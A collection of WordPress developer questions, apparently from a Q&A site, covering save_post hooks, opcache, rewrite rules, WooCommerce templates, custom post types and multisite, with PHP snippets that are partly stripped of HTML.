get categories the post was in and just been removed from

I have a function hooked to the save_post hook. this function is mostly concerned with the categories that the post is in. My function does the following:               function post_save_hook($post_id){         $categories = get_the_category($post_id);         foreach($categories as $category){             //Handle this category         }     }      Say I have a category called `featured`, and a post was published under this category. then the same post was edited and removed from the `featured` category, in this case my function won't detect this change. So what I want is to know if this post was in some category and removed from it.


Wordpress with php 5.5 and zend opcache

I currently updated/upgraded my php to 5.5.11 and want to use the opcache that comes with it.   I enabled the cache and added a few settings to php.ini               zend_extension=/usr/lib/php5/20131313/opcache.so     opcache.memory_consumption=128     opcache.interned_strings_buffer=8     opcache.max_accelerated_files=4000     opcache.revalidate_freq=60     opcache.fast_shutdown=1     opcache.enable_cli=1      But is this enough? Can i use wordpress caching plugins or there is no need?   I used W3 total cache together with apc until now.   Which wordpress caching plugin should i use now? Any other settings of opcache i should change?


Can't understand why sometimes a [caption] field appears

I'm trying to make a php script which, given a post id, returns post content. I'm not the one who writes articles, I'm just operating on a wp site. Post content is for an app of mine which has to parse it. My script is very simple:               <?php         require_once("wp-load.php");         if(isset($_GET['id'])){                $post_id = $_GET['id'];                $queried_post = get_post($post_id);                echo $queried_post->post_content;          }      ?>      Result is the article but sometimes the image is embedded in a [caption] field, like this:               [caption id="attachment_78971" align="alignnone" width="276"][/caption]      other times I have just the image               <img ...ecc       why is that? Is there a way to force the same output regardless of who has written the article?


White Screen of Death (no plugins, no themes)

I think I've read all the possible solutions for the famous **Whitescreen of Death** , but the WordPress blog still appears white, WHILE the Admin Panel is currently working. The WSOD appeared when I migrated the WP install from / to /bb6/ (root to subfolder) So as I've mentioned, I searched for solutions regarding this problem, and below you can read what I've tried and sadly, didn't worked. I know that this error has been discussed before, and I've checked almost all discussion regarding the error, but it's frustrating to see that nothing works and the problems remains unsolved.   * de-activated/removed plugins (nothing happened)   * de-activated/renamed/deleted themes (nothing happened)   * checked the wp-config.php, checked the wp-blog-header.php, checked wp_options in phpMyAdmin (sitename, url) and everything looks OK, the URL is /bb6/   * tried uploading the old WP install that was working before the migration from ROOT to /bb6/ (another subfolder) + import old database (nothing happened)   * tried FRESH install of WP + import old database (nothing happened)   * deleted the FRESH database + import old database (nothing happened)   * I added the DEBUG TRUE line for debugging in config.php so I can see where is the error. Well, no message or line appeared The website URL is http://www.bucharestbiennale.org/bb6/ Hope everything will be OK and I will be watching over this Question. Thank you in advance


How to disable automatic excerpt generation *in admin*?

I'm adding a custom column named Excerpt with Codepress Admin Columns, and would like to know specifically when the Excerpt has not been filled out. Instead WordPress shows post content automatically, if the excerpt is missing. This is also testable by switching on the "Excerpt View" from post list screen. Implementing default_excerpt hook doesn't seem to do anything for admin side. Grepping through codebase isn't getting me anywhere in a reasonable amount of time so I'm asking for some help figuring this out.


filtering custom post types via meta data drop down

I'm trying to add drop down filters (that are populated by terms that are in use) to a custom search page for "opportunities" or listings page. Currently I am doing this with taxonomies but doing this with meta data, meta_key, meta_query is new to me. I've searched around and most questions are not really dealing with pre- determined filters like this. I just found out about http://wordpress.org/extend/plugins/facetious and http://wordpress.org/extend/plugins/advance-wp-query-search-filter from this post: advanced wordpress search with drop down menus but a plugin may be overkill since I've gotten the other parts of this working. The general idea is grab all the values of "op_duration_meta" (e.g. "one- time", "short-term", "long-term") and turn it into a drop down that will sort the list or in combination with the other drop downs. I was starting to think I was going to have to resort to appending stuff to the URL or something manually. Thanks for any help in advance.
              <form method="get" class="search-form" action="<?php echo home_url(); ?>">
             <?php $query_types = get_query_var('post_type'); ?>                  <?php $args15 = array(                 'type'                     => 'opportunities',                 'child_of'                 => 0,                 'parent'                   => '',                 'orderby'                  => 'name',                 'order'                    => 'ASC',                 'hide_empty'               => 1,                 'hierarchical'             => 1,                 'exclude'                  => '',                 'include'                  => '',                 'number'                   => '',                 'taxonomy'                 => 'neighborhoods',                 'pad_counts'               => false );?>                  <?php $args16 = array(                 'type'                     => 'opportunities',                 'child_of'                 => 0,                 'parent'                   => '',                 'orderby'                  => 'name',                 'order'                    => 'ASC',                 'hide_empty'               => 1,                 'hierarchical'             => 1,                 'exclude'                  => '',                 'include'                  => '',                 'number'                   => '',                 'taxonomy'                 => 'post_tags',                 'pad_counts'               => false );?>                       <?php $args17 = array(                 'type'                     => 'opportunities',                 'child_of'                 => 0,                 'parent'                   => '',                 'orderby'                  => 'name',                 'order'                    => 'ASC',                 'hide_empty'               => 1,                 'hierarchical'             => 1,                 'exclude'                  => '',                 'include'                  => '',                 'number'                   => '',                 'taxonomy'                 => 'member_agencies',                 'pad_counts'               => false );?>                  <?php $args18 = array(                 'type'                     => 'opportunities',                 'child_of'                 => 0,                 'parent'                   => '',                 'orderby'                  => 'name',                 'order'                    => 'ASC',                 'hide_empty'               => 1,                 'hierarchical'             => 1,                 'exclude'                  => '',                 'include'                  => '',                 'number'                   => '',                 'taxonomy'                 => 'category',                 'pad_counts'               => false );?>                  <?php $args19 = array(                 'meta_key'                 =>'op_duration_meta',                 'post_status'              =>'publish',                 'post_type'                =>'opportunities',                 'orderby'                  =>'date',                 'order'                    =>'DESC' );                 ?>
1. Choose Neighborhood:
                 <select name="neighborhoods">                  <option value=""><?php echo esc_attr(__('Select Neighborhood...')); ?></option>                  <?php $taxx1 = get_categories($args15);             foreach ($taxx1 as $category) {                     $option = '<option value="'.$category->category_nicename.'">';                     $option .= $category->cat_name;                     $option .= '</option>';                     echo $option;                   }                  ?>             </select>

             2. OR Choose Member Agency:
             <select name="member_agencies">              <option value=""><?php echo esc_attr(__('Select Member Agency...')); ?></option>              <?php $taxx2 = get_categories($args17); foreach ($taxx2 as $category) {                     $option = '<option value="'.$category->category_nicename.'">';                     $option .= $category->cat_name;                     $option .= '</option>';                     echo $option;                   }                  ?>             </select>

             3. Choose Category:
             <select name="category">              <option value=""><?php echo esc_attr(__('Select Category...')); ?></option>              <?php $taxx3 = get_categories($args18); foreach ($taxx3 as $category) {                     $option = '<option value="'.$category->category_nicename.'">';                     $option .= $category->cat_name;                     $option .= '</option>';                     echo $option;                   }                  ?>             </select>

             3. Choose Duration:
             <select name="duration">              <option value=""><?php echo esc_attr(__('Select Duration...')); ?></option>              <?php                        $key_1_value = get_post_meta($args19);                        foreach ($key_1_value as $category) {                     // check if the custom field has a value                     $option = '<option value="Opportunity Duration">';                     $option .= $category;                     $option .= '</option>';                     echo $option;                 }                  ?>             </select>

<input type="hidden" name="post_type" value="opportunities" checked="checked"/>                  <input style="height:24px;display:inline-block" class="search-submit button" name="submit" type="submit" value="<?php esc_attr_e( 'Sort This List', 'prototype' ); ?>" />

         </form>


How can I get someone to checkout as soon as they add a product to cart?

Take a look at http://www.passgotutoring.com/shop/product- category/ucla/ucla-14a/ and add a product. I would like it to go directly to checkout as soon as anything is added to cart. Ideas on how to make this happen? Shopping cart: Woocommerce


Display post category in foreach loop with category link

I have the following code to show current author post lists with post thumbnail, post title, post date and post category.               function my_get_display_author_posts() {     global $authordata, $post;          $authors_posts = get_posts( array( 'author' => $authordata->ID,'posts_per_page' => 6, 'post__not_in' => array( $post->ID ) ) );          $output = '
';          foreach ( $authors_posts as $authors_post ) {              setup_postdata($authors_post);              // Build a comma separated categories list         // You can customize as needed         $categories = get_the_category();         $categories_string = '';         $separator = ', ';         if($categories) {             foreach($categories as $category){                 $categories_string .= $category->cat_name.$separator;             }             $categories_string = trim($categories_string, $separator);         }              $image = wp_get_attachment_image_src( get_post_thumbnail_id( $authors_post->ID ), 'related-author' );         $output .= '
         ID ) . '">         ' . apply_filters( 'the_title', $authors_post->post_title, $authors_post->ID ) . '                            '.get_the_time('m.d.y').' '.$categories_string.'
';     }          wp_reset_postdata();          $output .= '
';          return $output;}      Please follow below link to see the output https://www.evernote.com/shard/s250/sh/ba2c1f8f-c06e-44ef-b004-c0432b7d3a5f/12febb0db08fd9a749eee779051cb007/deep/0/Fullscreen-02-05-14-3-35-pm.png I want to show relevant post categories with category link. Thanks!


Post type Echo code is repeating on homepage

Hi i'm using this php code that allows me to call a div in different post type, but the only problem is when i add a second line instead of it showing only on the post type page it shows on the home page as well. When it's only one line it works but when i added the second line the div shows on the homepage as well and i don't want it to show on the homepage at all, how do i fix this. Here is the code below.               <?php     if (get_post_type() == 'pretty-little-liars') {  echo '

';      }      ?>      and here is what i tried to do                <?php     if (get_post_type() == 'pretty-little-liars') {  echo '

';      }      if (get_post_type() == 'revenge') {  echo '

';      }      ?>      I even tried it with the 'else' function, and it still showed on the homepage. I placed this in my header file. The way i have everything coded is that every post type has it's own stylesheet but the same header. But the code above calls for a div which will feature different images above for each post type.


Getting jquery to work with custom theme

I am trying to get some jquery plugins to work with my custom theme. Up until now I was doing this:               function my_scripts_method() {       wp_deregister_script( 'jquery' );       wp_register_script( 'jquery',    'http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js');       wp_enqueue_script( 'jquery' );     }              if (!is_admin()) add_action('wp_enqueue_scripts', 'my_scripts_method');      But I've read one shouldn't deregister core bundled scripts and replace them with other versions. So I've dropped that from my functions file. The issue is now that I've dropped that, none of my jquery scripts work. For example, my image slider. I am calling their scripts like so:               // Enqueue Nivo Slider     function maglite_add_nivo() {         wp_enqueue_script( 'nivoslider', get_template_directory_uri() . '/js/jquery.nivo.slider.pack.js', array( 'jquery' ), false, true );     }     add_action( 'wp_enqueue_scripts', 'maglite_add_nivo' );      It just doesn't work now, I am guessing it has something to do with jquery not initializing or something (sorry for the nubness). I am getting some type errors in my console, which related to the nivo slider I am adding. Specifically this line: `$(window).load(function() {` the console says: `TypeError: 'undefined' is not a function (evaluating '$(window)')` I feel like I am missing a core step to including custom scripts that require jquery. Should I still enqueue jquery or do I not need to do anything with jquery and enqueueing? Any help would be GREATLY appreciated.


How can I limit the number of comments per registered user per day in wordpress?

I found this code here on WPSE:               global $current_user, $post;     $args = array( 'user_id' => $current_user->ID, 'post_id' => $post->ID );     $usercomment = get_comments( $args );     if ( 1 <= count( $usercomment ) ) {         echo 'disabled';     } else {         comment_form();     }      Note: It seems to limit the number of comments per post per user. > I want to limit the number of comments per registered user per day. I would like to be able to change the amount of comments allowed per day in the code, please. * * * If someone could help me with the correct code it would be very much appreciated. Also where would I put this code in the comments.php file? Thank you.


How to customize WordPress Plugin installation?

I have a WordPress plugin which I've built. This plugin contains a Pro version. When user sign-up for the Pro version, he is getting a unique key.php file which he required to replace in the plugin directory. **The problem is when Pro users upgrade to newer versions, the key.php file is deleted and they need to re-upload it (every upgrade).** Is there any way to specify that this file shouldn't be deleted by WordPress installation process?


Way to create pages quickly

I have a site structure that I want to create a bunch of empty pages - each with a particular parent page and template. Is there a faster way to do this than one-by-one? A plugin perhaps?


Stripping the_content() from images then displaying them seperately

Ok, I've got content with images removed using this code:               $content = strip_tags(get_the_content(), '

');     $content = preg_replace("/\[caption.*\[\/caption\]/", '', $content);     $content = str_replace("[/caption]", '', $content);     echo $content;      Now I want to show the images at the end. I'm trying to use this:               $images = strip_tags(get_the_content(), '');     echo $images;      But it's not working. Any ideas?


How to make sure relative URL works when site is not on root domain?

I just tried installing my theme on another WP install that lies in a subdirectory of the domain. I never really thought too hard about subdirectories, but it does happen so I know I need to change it. Absolute URLS aren't feasible since I plan on distributing the theme. The catch here is that the URL needs to work inside of an array more specifically with some themes settings. Here is how they look.               function mytheme_get_theme_mods() {         $defaults = array(             'mytheme_header_logo'  => '/wp-content/themes/mytheme/img/logo.png',             'mytheme_footer_logo'  => '/wp-content/themes/mytheme/img/footerlogo.png',             'mytheme_middle_image' => '/wp-content/themes/mytheme/img/middleimg.png'         );         return $defaults;     }      Can anyone help me out?


Losing the original URL when using add_rewrite_rule

I'm attempting to implement a rewrite rule so I can introduce a variable into my CPT's single page template. Basically I'm trying to include 'all' between my CPT's slug name of `work` and the category in the URL:               http://localhost/work/all/corporate/cognitive-puzzles/      The original URL should of course work as well:               http://localhost/work/corporate/cognitive-puzzles/      Here's what I have for my rewrite:               function wire_alternate_pdp_url() {         global $wp;         $wp->add_query_var('mode');         add_rewrite_rule('work/all/([^/]*)/([^/]*)/?', 'index.php?pagename=$matches[2]&mode=all', 'top');     }      This almost works but for two issues. First being, the URL in my browser switches back to the form with the missing `all/` path. Second and more importantly, I get nothing for a `mode` within my single-project.php:               <?php          $mode = get_query_var('mode');         echo $mode;     ?>      This prints out nothing. Any ideas on what I might be missing here? I feel I'm close but something isn't quite right. Thanks in advance! edit: forgot to mention, I'm running 3.6.1


Rename uploads filenames to POST-ID on upload

I would like to change the way Wordpress rename uploaded files on upload. As I upload an image whose filename is "see-sunset.jpg", Wordpress will set up scaled versions and rename filenames to different combinations of "/2013/11/see-sunset-{WIDTHxHEIGHT}.jpg" (dipending on thumbnail sizes). Is it possible to add a function or a filter to change "see-sunset" for "{POST-ID}" so that the final URL (on uploading) is going to be "/2013/11/{POST-ID}-{WIDTHxHEIGHT}.jpg" or better one "/2013/11/{POST- ID}{WIDTHxHEIGHT}.jpg" Renaming uploads filenames to POST-ID, is it, in your opinion, convenient or not considering how WordPress works ? Many Thanks **EDIT BECAUSE OF SIMILAR QUESTION** Thank you, ialocin ! Tried as suggested here Change attachment filename. It seems working, but not call the post-ID, instead the attachment-ID (I guess). I mean I am trying to make /2013/11/{POST-ID}.jpg having the same id as the post URL myblog.com/category/post-ID/ Is there a way for the attachment of a post to be named as the post URL, having permalink set to post-ID (/%post_id%/) ?               add_action('add_attachment', 'rename_attacment');     function rename_attacment($post_ID){              $post = get_post($post_ID);         $file = get_attached_file($post_ID);         $path = pathinfo($file);             //dirname   = File Path             //basename  = Filename.Extension             //extension = Extension             //filename  = Filename              $newfilename = "{$post_ID}";         $newfile = $path['dirname']."/".$newfilename.".".$path['extension'];              rename($file, $newfile);             update_attached_file( $post_ID, $newfile );          }      **EDIT BECAUSE TRIED IT AGAIN AND DOES NOT WORK PROPERLY** I have been trying this code out, it does not work properly. For instance, featured image is not being displayed in admin panel single post, neither are being uploaded all WordPress re-scaled sizes (as in media settings). Could someone try this out in order to confirm (me using latest WP version). Thank you !               add_action('add_attachment', 'rename_attacment');     function rename_attacment($post_ID){              $post = get_post($post_ID);         $file = get_attached_file($post_ID);         $path = pathinfo($file);             //dirname   = File Path             //basename  = Filename.Extension             //extension = Extension             //filename  = Filename              $newfilename = "{$post_ID}";         $newfile = $path['dirname']."/".$newfilename.".".$path['extension'];              rename($file, $newfile);             update_attached_file( $post_ID, $newfile );          }


Filter WooCommerce Orders

I am using woocommerce for a "multi-seller" system. Meaning one site (no multi-site), but many sellers with different products. To let each owner only manage it's own orders, it would like to **filter all orders** before they are shown in the **admin area**. The criteria for filtering could be a **tag** or the **creator** of the product. Is there a hook or filter to create the desired result? If not, what else could be a solution?


How do I save data from submitted form from widget

I'm looking over internet for some simple solution of email subscription widget but no luck. Or they are too complicated and paid, or they are relaying on some external email functions. I'm not a WordPress expert but know few things about WordPress. I would like to make form in widget where user enter their email address and address is written in wp database, and in back-end admin just list all emails and can select to delete email from subscribed list. When making my own widget I know how to create widget and form, I know how to add admin page and list files from database. What I don't know is where and how to save data from submitted form from widget. If anyone have any suggestion or widget that can do this please share it. In mean time I will search for solution.


WordPress Meta Title Separator

This code, when used in the header, automatically adds a arrow to wp_title. How do I remove this?               <title><?php bloginfo('name'); ?><?php wp_title(); ?></title>


WooCommerce Hiding A Certain Category From Being Displayed On Single Product

If I go to `wp-content/themes/theme-name/woocommerce/single-product/meta.php` then I see this code:-               <?php     /**      * Single Product Meta      *      * @author      WooThemes      * @package     WooCommerce/Templates      * @version     1.6.4      */          if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly          global $post, $product;     ?>
              <?php echo $product->get_categories( ', ', ' '.__('Category:', GETTEXT_DOMAIN).' ', '.'); ?>              <?php echo $product->get_tags( ', ', ' '.__('Tags:', GETTEXT_DOMAIN).' ', '.'); ?>
      What modifications are required so that it doesn't display the category, having slug, `certain-category-slug` ? I could have used the following:-               get_categories( array( 'exclude' => 'certain-category-slug' ) )      but I believe that WooCommerce `$product->get_categories` is different from WordPress API `get_categories` because their arguments are different.


Enqueuing Script in functions.php vs on the page

Does it matter if I enqueue a script on just the page I need it to be used? As opposed to functions.php? Or, what is the best practice? In this example I need a rotator just on the front page of my site. And if I do enqueue it on the page, is there a best place to put it? Thanks very much.


Simplest way to add a second html editor to the post/page admin?

What's the simplest way to add a second html editor to the post/page admin and show the content in a template? What I need is something like a custom field that supports html, but I don't need the options to name the field. And I don't need a visual editor like tinyMCE; just html will do. What I'm thinking of is simply a small text-editor box that sits under the main visual/html editor and shows the resulting html in a template via `<?php if ( function_exists('my_extra_editor_content') ) ...` with the text/html in a styleable div. Plugins like http://wordpress.org/extend/plugins/custom-field-template/ and http://wordpress.org/extend/plugins/developers-custom-fields/ offer too much in terms of functions and choices.


Repeating Loop on my Posts Page

I have a problem with my `loop.php`, it keeps on repeating posts. I'm guessing this might be controlled outside of this `loop.php` as it happens no matter what I try. Could someone please advise me as to where it might be getting this information to repeat the loop 4 times. Here is the current `loop.php`               <?php      $args = array ( 'category' => 4, 'posts_per_page' => 10);     $myposts = get_posts( $args );     foreach( $myposts as $post ) :  setup_postdata($post);      ?>                    <div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
<?php do_action('themezee_display_postmeta_index'); ?>

<a href="<?php the_permalink() ?>" rel="bookmark">     <?php the_title(); ?>

     <?php the_post_thumbnail('thumbnail', array('class' => 'alignleft')); ?>     <?php the_content('' . __('Read more', 'themezee_lang') . ''); ?>

     <?php wp_link_pages(); ?>

     <?php do_action('themezee_display_postinfo_index'); ?>

                    <?php endforeach; ?>      Thanks for any help with this


Create New WordPress User after Twitter Signin, using Twitter credentials?

I've seen wp-snippets.com uses Twitter sign-in which somehow creates a WordPress users with the Twitter credentials. wp-snippets.com > signin with twitter > Oauth > CallbackURL = wp-admin with twitter credentials written to WP user How is this achieved? I've searched a lot plugins and cannot see anything that writes twitter user details to the Wordpress database. I expect if any that the Otto's Simple Twitter Connect (STC) might have, but I'vve installed and examined it; I cannot see this feature anyway.


List Recent Comments from Across a Multi-site Network

I'm look for a custom SQL query that will let me pull in the latest comments from across a WP multi-site install. The end result will be identical to a regular recent comments widget, but from all sites within the installation. Ideas? Thanks


wp-cron.php - How are WP's Cron transients removed?

I have a Wordpress Network that I am tasked with disabling the WP Cron and replacing it with an Apache Cron. I have set up a PHP script that when called by an Apache Cron will loop through all sites under the network and make a request to that site's wp-cron.php page, thus executing its cron. I would like to use Wordpress' transient feature to limit my PHP script as Wordpress limits its own cron. However, when I dig into the code I see the doing_cron transient is set ( in cron.php #217 ) but never unset. Is the transient ever unset or does Wordpress wait 60 seconds to fire up the cron again ( in cron.php #200 ) Any thoughts on the doing_cron transient or perhaps another means to throttle my cron script would be appreciated.


Top 3 posts in last week ordered by Facebook and Twitter share counts

I am interested in displaying the top 3 stories in the past week based on the total number of shares on Facebook and Twitter. I have found that these share counts are more useful indications of what is popular in comparison to sorting by the number of comments using `'orderby' => 'comment_count'`. So my question is: What is the best way to sort posts based on the number of Facebook or Twitter shares? I'm a little concerned about the number of requests to the Facebook and Twitter APIs if I were to check the number of shares for all of the posts in the past week, and then go from there. Thanks in advance!


Multisite Create New Blog Plugin

Looking for a plugin that displays a form for visitors to create a new blog on a network, where they can answer a few basic questions on a form along with some admin options for me to tweak. Any ideas?


Can I include get_posts in this array?

I am using the custom meta box script from deluxeblogtips.com and I wondered if I could include get_posts within this array so that it displays all posts within a set post type ("Locations" for example)               array(             'name' => 'Location',    // File type: checkbox             'id' => $prefix . location',             'type' => 'checkbox',             'desc' => 'Check this box to make any links open in a new browser window',             'std' => 0                      // Value can be 0 or 1         ),      Obviously I'd need to be able to select as many posts as I wanted. Any help would be greatly appreciated.


Exclude featured image and custom field from this get_attachment query

Is there a way I can exclude the post thumbnail AND a custom field with the value "`_lm_comm_logo`" from this query that pulls all of the images associated with a particular post?               <?php $args = array('numberposts' => -1, 'orderby' => 'menu_order', 'order' => 'ASC', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'post_parent' => $post->ID); ?>                     <?php if ( $photos = get_posts($args) ) : ?>
                             <?php foreach ( $photos as $photo ) : ?>
                                     <a href="<?php echo $photo->guid; ?>" class="lightbox" rel="community[<?php echo $post->ID; ?>]"><?php echo wp_get_attachment_image($photo->ID, 'thumbnail'); ?>
                             <?php endforeach; ?>
                     <?php endif; ?>


wordpress blog displaying blank pages

i have wordpress blog under my main site like following               -root (mainsite)       -blog      i have placed `.htaccess` file to redirect my index.html page to index.php, .htaccess file have following code               Redirect 303 /index.html  http://mysite.com/index.php      but after placing this file, my blog site stopped working, none of my blog page are working, it displays blank page, i cant even access admin panel. i have removed .htaccess file from root folder, but not able to access blog site. do anyone knows how to overcome this problme??


Moving wordpress from localhost to server throws admin panel access error?

I've a working version of wordpress in localhost and i tried to move them to the remote server. As i've another wordpress installed in the same server and tried to rename the current tables to the prefix wp1_ I exported my local data to a sql file. After that i searched and renamed every table name with wp_ and changed them into wp1_ and imported to my server. After that i tried to login in admin panel , it throws the following error               " You do not have sufficient permissions to access this page. "      I searched some forums and tried to change the values of meta key in the wp1_options and wp1_usermeta which was started with wp_ Still after this , i couldn't login. And ideas on this? _**Note: I've changed the wp-config and related details and the front end is working fine._**


add_rewrite_rule and pagination issue

I've got an issue, writing a correct rewrite rule. Basically, here are the examples of the url I want : `/myPage/mySuPage` Then the same with pagination   `/myPage/mySuPage/page/3` Then, the basic page, with 2 params, no pagination   `/myPage/mySuPage/param1/param2` Then, the one with 2 parameters and the pagination   `/myPage/mySuPage/param1/param2/page/3` More or less, i have it working with differents rules for each case, but if I put them in a row, nothing works. Here are the rules I wrote :               add_rewrite_rule(         'myPage/mySuPage/([^/]*)/([^/]*)/?',         'index.php?pagename=myPage/mySuPage&param1=$matches[1]&param2=$matches[2]',         'top' );          add_rewrite_rule(         'myPage/mySuPage/([^/]*)/([^/]*)/page/([0-9]{1,})?',         'index.php?pagename=myPage/mySuPage&param1=$matches[1]&param2=$matches[2]&pageds=$matches[3]',         'top' );               add_rewrite_rule(         'myPage/mySuPage/(.+?)(/page/([0-9]+))?/?$',         'index.php?pagename=myPage/mySuPage&param1=$matches[1]&param2=$matches[2]',         'top' );


Categories not working as expected with custom post type

I have a custom post type set up like:                   add_action('init', 'portfolio_register');          function portfolio_register() {      $labels = array(         'name' => _x('Photos', 'post type general name'),         'singular_name' => _x('Portfolio Item', 'post type singular name'),         'add_new' => _x('Add New', 'portfolio item'),         'add_new_item' => __('Add New Portfolio Item'),         'edit_item' => __('Edit Portfolio Item'),         'new_item' => __('New Portfolio Item'),         'view_item' => __('View Portfolio Item'),         'search_items' => __('Search Portfolio'),         'not_found' =>  __('Nothing found'),         'not_found_in_trash' => __('Nothing found in Trash'),         'parent_item_colon' => ''              );          $args = array(                 'labels' => $labels,                 'public' => true,                 'publicly_queryable' => true,                 'show_ui' => true,                 'query_var' => true,                 //'menu_icon' => get_stylesheet_directory_uri() . '/article16.png',                 'rewrite' => true,                 'capability_type' => 'post',                 'hierarchical' => false,                 'menu_position' => 4,                 'taxonomies' => array('post_tag','category'),                 'supports' => array('title','editor','comments','trackbacks','revisions','custom-fields','page-attributes','thumbnail', 'excerpt', 'tags')               );       It pulls all of the meta boxes in and everything fine for the single page. On the home page I query from the Featured category like so : ### Edit based on suggestion from spartacus               <?php          $args = array('category_name' => 'featured',         'post_type' => array ('post','Photos'),         'posts_per_page' => 20);              $the_query = new WP_Query($args);         while ($the_query->have_posts()) : $the_query->the_post();?>             <?php //getImage(1); ?>
                 <a href="<?php the_permalink(); ?>">                 <img src="<?php bloginfo('template_url'); ?>/scripts/timthumb.php?src=<?php echo get_first_attachment() ?>&w=500&h=500&a=b&zc=1&q=80" alt="<?php the_title(); ?>" />             <?php the_title(); ?>
         <?php endwhile; ?>      This works fine with normal posts I make but none of the posts in the custom post type category will be pulled into this featured category query. Can anyone see what is going wrong or have suggestions of what I should look for ?


How to override core is_ssl() function?

I am looking to override a function in functions.php through a theme or plugin. Specifically, is_ssl(), which does not have any filter or action hooks. Obviously, the easy why would be to update functions.php itself, but this will leave issues with upgrade and compatibility. How could this be done. Edit: The goal is to overwrite is_ssl() function to return true when specific flag is set in the request header. Is it possible with the override-function?


Dashboard blocker on network multisite for specific user roles

I have used this function below for a while now on normal WordPress installs. It simply blocks users with specific user roles, and redirects them to the home page of the site.               function wpse23007_redirect(){       if( is_admin() && !defined('DOING_AJAX') && ( current_user_can('subscriber') || current_user_can('media') ) ){         wp_redirect(home_url());         exit;       }     }     add_action('init','wpse23007_redirect');         But when I install this on a sub theme in my WordPress Multisite, even though I am a superuser, it is blocking me from the dashboard of my sub theme. Can anyone help me understand why this is and how to change the above so it doesn't block me?


Define Folder to save Images

The Plugin save the Images to /PLUGINNAME/images but i want that it moves to /uploads The Code inside the Plugin is this here               define('WPR_URLPATH', WP_PLUGIN_URL.'/'.plugin_basename( dirname(__FILE__) ).'/' );     $wpr_saveurl = WPR_URLPATH . "images";     $wpr_cache = ABSPATH . "wp-content/plugins/". plugin_basename( dirname(__FILE__) )."/images";      How can I define to save the Images there?


Preview Button Custom

Ive created a simple plugin which changes the preview link to the correct location as its a custom Wordpress install into an existing site framework. Using 'preview_post_link' filter I can change the link successfully to say: http://www.domain.com/wp-custom.php?p=123456&preview=true This works perfectly upon hovering over and inspecting the a tag:               Preview      Right click and open in a new window/tab and it opens fine. Click the actual button though and it fails churning out the url in the address bar of: http://www.domain.com/?p=123456&preview=true Not quite sure what is happening or a workaround? Only thing I can think of is maybe some sort of JQuery is ran by wordpress on .preview or #post-preview which is affecting the behavior when the button is clicked directly. Any ideas of how to remedy would be greatly appreciated. Many thanks. Updated to show the simple method for amending the wordpress preview links:               function custom_change_preview_link($link) {         return preg_replace('/\?/','wp-custom.php?',$link);     }     add_filter( 'preview_post_link', 'custom_change_preview_link' );     add_filter( 'preview_page_link', 'custom_change_preview_link' );


How can I add a page that shows posts from a single category?

Is it possible to add a page that shows posts for a certain category? Do I need to create a page and have it redirect to `http://site.com/category/myposts`?


Setting up partial Right-to-Left admin interface

I am building a custom theme WordPress instance, which needs to be Arabic at the public face and English on Admin site, but with RTL (flush right) in editing fields. My theme takes care of the public face, but I need help with themeing the admin side. I know there is a way to make the blog all Arabic, but I wanted all the admin labels and category names to stay English. I only want all admin text entry fields to become RTL. Oh, and plugins-generated text entry fields too, but I suspect that's more difficult. I know it is a CSS change, but not sure where to start with such partial customization of the interface.


Two description meta tags All in One SEO WordPress

After installed All in one SEO plugin my home page has two descriptions. One by WordPress itself and one by All in one SEO plugin. Is there a simple way to remove WordPress one? Please reconsider closing post as off-topic. Cos already done twice: http://webmasters.stackexchange.com/questions/2475/two-description-meta-tags- all-in-one-seo-wordpress http://stackoverflow.com/questions/3549769/two-description-meta-tags-all-in- one-seo-wordpress-closed


Custom Stylings for category pages

Is there a way to have the styles on a page appear differently for certain categories, when viewing a page that is only of that category?


Post does not disappear

The teaser of a deleted post is still sticking in one of my blog category lists (in one of two that the post was assigned to). I have tied to optimize DB tables. I have restored (trough vault press) to a time before the post was created. I have emptied cache. I use cloud flare but turned it of suspecting it might be related to that. I have disabled all plugins. But the teaser will not go a way. Any ideas?


Modify main loop in taxonomy archive page

Is there a way that I can modify the main loop in a single taxonomy template, but leave it untouched in every other template? In this case, I have a custom post type called "Events" which in turn has a custom taxonomy called "Region". What I want to do is, instead of listing each custom "Events" post chronologically by post date I want to order it by a custom meta value (In this case `event_date`). I only want to do this in my `taxonomy-region.php` template and leave any other instance of the main loop untouched.


Is there any function available to echo current user's profile url?

As of now i'm using this code to echo user's profile url.               <?php echo esc_url( home_url( '/' ) ); ?>user/<?php echo $current_user->user_login ?>"><?php echo $current_user->user_login ?></a>      This link uses author base as "user". So when i change author base this link will be broken. IS there any function available like `current_user_profile_link()` ?


Add Child custom posts to custom post parent

I have one requirement to show document api, faq, videos under different parents. Example: Software and Hardware Software {software1, software2, software3} Hardware {hardware1, hardware2, hardware3} Each Software {1,2,3...} and Hardware {1,2,3...} contain Document API, FAQ, Video branches Each Document API and FAQ should show in hierarchical model Example: Software1 Document API                    1.0 Activity             1.1 xxxxxx             1.2 xxxxxx             1.3 xxxxxx               2.0 Activity             2.1 xxxxxx             2.2 xxxxxx             2.3 xxxxxx      Software2 Document API                    1.0 Activity             1.1 xxxxxx             1.2 xxxxxx             1.3 xxxxxx               2.0 Activity             2.1 xxxxxx             2.2 xxxxxx             2.3 xxxxxx      So what kind of approach/method i can use? I created a custom post type for single Document API like post_type -> document-api custom-taxonomies -> {1.0 Activity, 2.0 Activity} and 1.1 xxxx, 1.2 xxxx are custom posts under fall down specific categories (custom-taxonomies)


Display a query with multiple post types and same relationship on a single page

I am creating a client portal were my clients can maintain their projects and leave feedback in Wordpress. I have two custom post types called "Clients" and "Projects" and they each pull information from one another in the backend. When I create a client it automatically generates its postID to a drop down menu on the projects post type were I can assign a client to a project. What I am trying to accomplish is by displaying all projects that are associated with the selected client on a single page on the front end. The single page will be the client portal, which is generated by the client post type. **I can't seem to display the associated post with its postID. Here is my code for single.php which will be displaying the projects on the clients portal.**                  <?php           global $post;           $projects = new WP_Query( array(               'post_type'         => array( 'projects'),               'posts_per_page'    => -1,              'post_status'     => 'publish',     'meta_query'        => array(          array(              'key'           => 'clientType',              'value'         => '"' . get_the_ID() . '"',               'compare'       => 'LIKE',              'type'          => 'NUMERIC'       ))));        ?>      Below is the code I am using to assign a client to a projects in the admin panel of projects. This script displays any client that I created in the client page and display their names in a drop down menu.                class projects {       var $FOR_POST_TYPE = 'projects';       var $SELECT_POST_TYPE = 'client_portal';       var $SELECT_POST_LABEL = 'Client';       var $box_id;       var $box_label;       var $field_id;       var $field_label;       var $field_name;       var $meta_key;       function __construct() {       add_action( 'admin_init', array( 